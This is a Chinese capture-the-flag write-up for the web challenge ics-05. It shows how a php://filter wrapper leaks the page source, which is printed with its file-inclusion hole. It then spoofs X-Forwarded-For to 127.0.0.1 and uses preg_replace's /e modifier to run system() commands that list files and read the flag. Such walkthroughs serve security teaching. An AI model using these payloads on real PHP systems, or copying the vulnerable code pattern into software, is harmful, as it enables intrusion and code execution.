ics-05
挺有意思的一题
攻防世界->web->ics-05
打开题目链接,就是一个很正常的管理系统,只有左侧的可以点着玩
并且点到**设备维护中心时,页面变为index.php
查看响应
发现云平台设备维护中心有东西
点击会发现多了一个参数page=index,
首先想到php伪协议利用成功
page=php://filter/convert.base64-encode/resource=index.php
base64解码,最后有一段这个玩意
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
page是我们利用过的,那么接下来就是要利用下面的部分。
$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1'
构造请求X-Forwarded-For: 127.0.0.1
然后利用preg_replace()
其中:/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。
也就是说:要确保 replacement 构成一个合法的 PHP 代码字符串
?pat=/unsion/e&rep=system('ls')&sub=unsion
查找文件名含有flag
?pat=/unsion/e&rep=system('find * -name *flag*')&sub=unsion
输出结果
?pat=/unsion/e&rep=system('tac s3chahahaDir/flag/flag.php')&sub=unsion